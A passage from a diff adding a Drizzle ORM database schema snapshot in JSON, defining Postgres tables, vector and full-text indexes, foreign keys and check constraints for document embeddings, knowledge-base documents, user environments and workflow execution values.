"uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.docs_embeddings": { + "name": "docs_embeddings", + "schema": "", + "columns": { + "chunk_id": { + "name": "chunk_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "chunk_text": { + "name": "chunk_text", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_document": { + "name": "source_document", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_link": { + "name": "source_link", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "header_text": { + "name": "header_text", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "header_level": { + "name": "header_level", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "token_count": { + "name": "token_count", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": true + }, + "embedding_model": { + "name": "embedding_model", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'text-embedding-3-small'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "chunk_text_tsv": { + "name": "chunk_text_tsv", + "type": "tsvector", + "primaryKey": false, + "notNull": false, + "generated": { + "as": "to_tsvector('english', \"docs_embeddings\".\"chunk_text\")", + "type": "stored" + } + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "docs_emb_source_document_idx": { + "name": "docs_emb_source_document_idx", + "columns": [ + { + "expression": "source_document", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "docs_emb_header_level_idx": { + "name": "docs_emb_header_level_idx", + "columns": [ + { + "expression": "header_level", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "docs_emb_source_header_idx": { + "name": "docs_emb_source_header_idx", + "columns": [ + { + "expression": "source_document", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "header_level", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "docs_emb_model_idx": { + "name": "docs_emb_model_idx", + "columns": [ + { + "expression": "embedding_model", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "docs_emb_created_at_idx": { + "name": "docs_emb_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "docs_embedding_vector_hnsw_idx": { + "name": "docs_embedding_vector_hnsw_idx", + "columns": [ + { + "expression": "embedding", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "vector_cosine_ops" + } + ], + "isUnique": false, + "concurrently": false, + "method": "hnsw", + "with": { + "m": 16, + "ef_construction": 64 + } + }, + "docs_emb_metadata_gin_idx": { + "name": "docs_emb_metadata_gin_idx", + "columns": [ + { + "expression": "metadata", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + }, + "docs_emb_chunk_text_fts_idx": { + "name": "docs_emb_chunk_text_fts_idx", + "columns": [ + { + "expression": "chunk_text_tsv", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "docs_embedding_not_null_check": { + "name": "docs_embedding_not_null_check", + "value": "\"embedding\" IS NOT NULL" + }, + "docs_header_level_check": { + "name": "docs_header_level_check", + "value": "\"header_level\" >= 1 AND \"header_level\" <= 6" + } + }, + "isRLSEnabled": false + }, + "public.document": { + "name": "document", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "knowledge_base_id": { + "name": "knowledge_base_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "filename": { + "name": "filename", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "file_url": { + "name": "file_url", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "storage_key": { + "name": "storage_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "file_size": { + "name": "file_size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "mime_type": { + "name": "mime_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "chunk_count": { + "name": "chunk_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "token_count": { + "name": "token_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "character_count": { + "name": "character_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "processing_status": { + "name": "processing_status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "processing_started_at": { + "name": "processing_started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "processing_completed_at": { + "name": "processing_completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "processing_error": { + "name": "processing_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "user_excluded": { + "name": "user_excluded", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "tag1": { + "name": "tag1", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag2": { + "name": "tag2", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag3": { + "name": "tag3", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag4": { + "name": "tag4", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag5": { + "name": "tag5", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag6": { + "name": "tag6", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag7": { + "name": "tag7", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "number1": { + "name": "number1", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number2": { + "name": "number2", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number3": { + "name": "number3", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number4": { + "name": "number4", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number5": { + "name": "number5", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "date1": { + "name": "date1", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "date2": { + "name": "date2", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "boolean1": { + "name": "boolean1", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "boolean2": { + "name": "boolean2", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "boolean3": { + "name": "boolean3", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "connector_id": { + "name": "connector_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "external_id": { + "name": "external_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "content_hash": { + "name": "content_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_url": { + "name": "source_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "uploaded_by": { + "name": "uploaded_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "uploaded_at": { + "name": "uploaded_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "doc_kb_id_idx": { + "name": "doc_kb_id_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_filename_idx": { + "name": "doc_filename_idx", + "columns": [ + { + "expression": "filename", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_processing_status_idx": { + "name": "doc_processing_status_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "processing_status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_connector_external_id_idx": { + "name": "doc_connector_external_id_idx", + "columns": [ + { + "expression": "connector_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "external_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"document\".\"deleted_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_connector_id_idx": { + "name": "doc_connector_id_idx", + "columns": [ + { + "expression": "connector_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_storage_key_idx": { + "name": "doc_storage_key_idx", + "columns": [ + { + "expression": "storage_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"document\".\"storage_key\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_archived_at_partial_idx": { + "name": "doc_archived_at_partial_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"document\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_deleted_at_partial_idx": { + "name": "doc_deleted_at_partial_idx", + "columns": [ + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"document\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_tag1_idx": { + "name": "doc_tag1_idx", + "columns": [ + { + "expression": "tag1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_tag2_idx": { + "name": "doc_tag2_idx", + "columns": [ + { + "expression": "tag2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_tag3_idx": { + "name": "doc_tag3_idx", + "columns": [ + { + "expression": "tag3", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_tag4_idx": { + "name": "doc_tag4_idx", + "columns": [ + { + "expression": "tag4", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_tag5_idx": { + "name": "doc_tag5_idx", + "columns": [ + { + "expression": "tag5", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_tag6_idx": { + "name": "doc_tag6_idx", + "columns": [ + { + "expression": "tag6", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_tag7_idx": { + "name": "doc_tag7_idx", + "columns": [ + { + "expression": "tag7", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_number1_idx": { + "name": "doc_number1_idx", + "columns": [ + { + "expression": "number1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_number2_idx": { + "name": "doc_number2_idx", + "columns": [ + { + "expression": "number2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_number3_idx": { + "name": "doc_number3_idx", + "columns": [ + { + "expression": "number3", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_number4_idx": { + "name": "doc_number4_idx", + "columns": [ + { + "expression": "number4", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_number5_idx": { + "name": "doc_number5_idx", + "columns": [ + { + "expression": "number5", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_date1_idx": { + "name": "doc_date1_idx", + "columns": [ + { + "expression": "date1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_date2_idx": { + "name": "doc_date2_idx", + "columns": [ + { + "expression": "date2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_boolean1_idx": { + "name": "doc_boolean1_idx", + "columns": [ + { + "expression": "boolean1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_boolean2_idx": { + "name": "doc_boolean2_idx", + "columns": [ + { + "expression": "boolean2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "doc_boolean3_idx": { + "name": "doc_boolean3_idx", + "columns": [ + { + "expression": "boolean3", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "document_knowledge_base_id_knowledge_base_id_fk": { + "name": "document_knowledge_base_id_knowledge_base_id_fk", + "tableFrom": "document", + "tableTo": "knowledge_base", + "columnsFrom": ["knowledge_base_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "document_connector_id_knowledge_connector_id_fk": { + "name": "document_connector_id_knowledge_connector_id_fk", + "tableFrom": "document", + "tableTo": "knowledge_connector", + "columnsFrom": ["connector_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "document_uploaded_by_user_id_fk": { + "name": "document_uploaded_by_user_id_fk", + "tableFrom": "document", + "tableTo": "user", + "columnsFrom": ["uploaded_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.embedding": { + "name": "embedding", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "knowledge_base_id": { + "name": "knowledge_base_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "chunk_index": { + "name": "chunk_index", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "chunk_hash": { + "name": "chunk_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content_length": { + "name": "content_length", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "token_count": { + "name": "token_count", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": false + }, + "embedding_model": { + "name": "embedding_model", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'text-embedding-3-small'" + }, + "start_offset": { + "name": "start_offset", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "end_offset": { + "name": "end_offset", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "tag1": { + "name": "tag1", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag2": { + "name": "tag2", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag3": { + "name": "tag3", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag4": { + "name": "tag4", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag5": { + "name": "tag5", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag6": { + "name": "tag6", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tag7": { + "name": "tag7", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "number1": { + "name": "number1", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number2": { + "name": "number2", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number3": { + "name": "number3", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number4": { + "name": "number4", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "number5": { + "name": "number5", + "type": "double precision", + "primaryKey": false, + "notNull": false + }, + "date1": { + "name": "date1", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "date2": { + "name": "date2", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "boolean1": { + "name": "boolean1", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "boolean2": { + "name": "boolean2", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "boolean3": { + "name": "boolean3", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "content_tsv": { + "name": "content_tsv", + "type": "tsvector", + "primaryKey": false, + "notNull": false, + "generated": { + "as": "to_tsvector('english', \"embedding\".\"content\")", + "type": "stored" + } + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "emb_kb_id_idx": { + "name": "emb_kb_id_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_doc_id_idx": { + "name": "emb_doc_id_idx", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_doc_chunk_idx": { + "name": "emb_doc_chunk_idx", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "chunk_index", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_kb_model_idx": { + "name": "emb_kb_model_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "embedding_model", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_kb_enabled_idx": { + "name": "emb_kb_enabled_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_doc_enabled_idx": { + "name": "emb_doc_enabled_idx", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "embedding_vector_hnsw_idx": { + "name": "embedding_vector_hnsw_idx", + "columns": [ + { + "expression": "embedding", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "vector_cosine_ops" + } + ], + "isUnique": false, + "concurrently": false, + "method": "hnsw", + "with": { + "m": 16, + "ef_construction": 64 + } + }, + "emb_tag1_idx": { + "name": "emb_tag1_idx", + "columns": [ + { + "expression": "tag1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_tag2_idx": { + "name": "emb_tag2_idx", + "columns": [ + { + "expression": "tag2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_tag3_idx": { + "name": "emb_tag3_idx", + "columns": [ + { + "expression": "tag3", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_tag4_idx": { + "name": "emb_tag4_idx", + "columns": [ + { + "expression": "tag4", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_tag5_idx": { + "name": "emb_tag5_idx", + "columns": [ + { + "expression": "tag5", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_tag6_idx": { + "name": "emb_tag6_idx", + "columns": [ + { + "expression": "tag6", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_tag7_idx": { + "name": "emb_tag7_idx", + "columns": [ + { + "expression": "tag7", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_number1_idx": { + "name": "emb_number1_idx", + "columns": [ + { + "expression": "number1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_number2_idx": { + "name": "emb_number2_idx", + "columns": [ + { + "expression": "number2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_number3_idx": { + "name": "emb_number3_idx", + "columns": [ + { + "expression": "number3", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_number4_idx": { + "name": "emb_number4_idx", + "columns": [ + { + "expression": "number4", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_number5_idx": { + "name": "emb_number5_idx", + "columns": [ + { + "expression": "number5", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_date1_idx": { + "name": "emb_date1_idx", + "columns": [ + { + "expression": "date1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_date2_idx": { + "name": "emb_date2_idx", + "columns": [ + { + "expression": "date2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_boolean1_idx": { + "name": "emb_boolean1_idx", + "columns": [ + { + "expression": "boolean1", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_boolean2_idx": { + "name": "emb_boolean2_idx", + "columns": [ + { + "expression": "boolean2", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_boolean3_idx": { + "name": "emb_boolean3_idx", + "columns": [ + { + "expression": "boolean3", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "emb_content_fts_idx": { + "name": "emb_content_fts_idx", + "columns": [ + { + "expression": "content_tsv", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": { + "embedding_knowledge_base_id_knowledge_base_id_fk": { + "name": "embedding_knowledge_base_id_knowledge_base_id_fk", + "tableFrom": "embedding", + "tableTo": "knowledge_base", + "columnsFrom": ["knowledge_base_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "embedding_document_id_document_id_fk": { + "name": "embedding_document_id_document_id_fk", + "tableFrom": "embedding", + "tableTo": "document", + "columnsFrom": ["document_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "embedding_not_null_check": { + "name": "embedding_not_null_check", + "value": "\"embedding\" IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.environment": { + "name": "environment", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "variables": { + "name": "variables", + "type": "json", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "environment_user_id_user_id_fk": { + "name": "environment_user_id_user_id_fk", + "tableFrom": "environment", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "environment_user_id_unique": { + "name": "environment_user_id_unique", + "nullsNotDistinct": false, + "columns": ["user_id"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.execution_large_value_dependencies": { + "name": "execution_large_value_dependencies", + "schema": "", + "columns": { + "parent_key": { + "name": "parent_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "child_key": { + "name": "child_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "execution_large_value_dependencies_workspace_parent_key_idx": { + "name": "execution_large_value_dependencies_workspace_parent_key_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "execution_large_value_dependencies_workspace_child_key_idx": { + "name": "execution_large_value_dependencies_workspace_child_key_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "child_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "execution_large_value_dependencies_workspace_id_workspace_id_fk": { + "name": "execution_large_value_dependencies_workspace_id_workspace_id_fk", + "tableFrom": "execution_large_value_dependencies", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "execution_large_value_dependencies_parent_key_child_key_pk": { + "name": "execution_large_value_dependencies_parent_key_child_key_pk", + "columns": ["parent_key", "child_key"] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.execution_large_value_references": { + "name": "execution_large_value_references", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "execution_id": { + "name": "execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "execution_large_value_reference_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "execution_large_value_references_workspace_execution_source_idx": { + "name": "execution_large_value_references_workspace_execution_source_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "execution_large_value_references_workspace_id_workspace_id_fk": { + "name": "execution_large_value_references_workspace_id_workspace_id_fk", + "tableFrom": "execution_large_value_references", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "execution_large_value_references_workflow_id_workflow_id_fk": { + "name": "execution_large_value_references_workflow_id_workflow_id_fk", + "tableFrom": "execution_large_value_references", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "execution_large_value_references_key_execution_id_source_pk": { + "name": "execution_large_value_references_key_execution_id_source_pk", + "columns": ["key", "execution_id", "source"] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.execution_large_values": { + "name": "execution_large_values", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": true, + 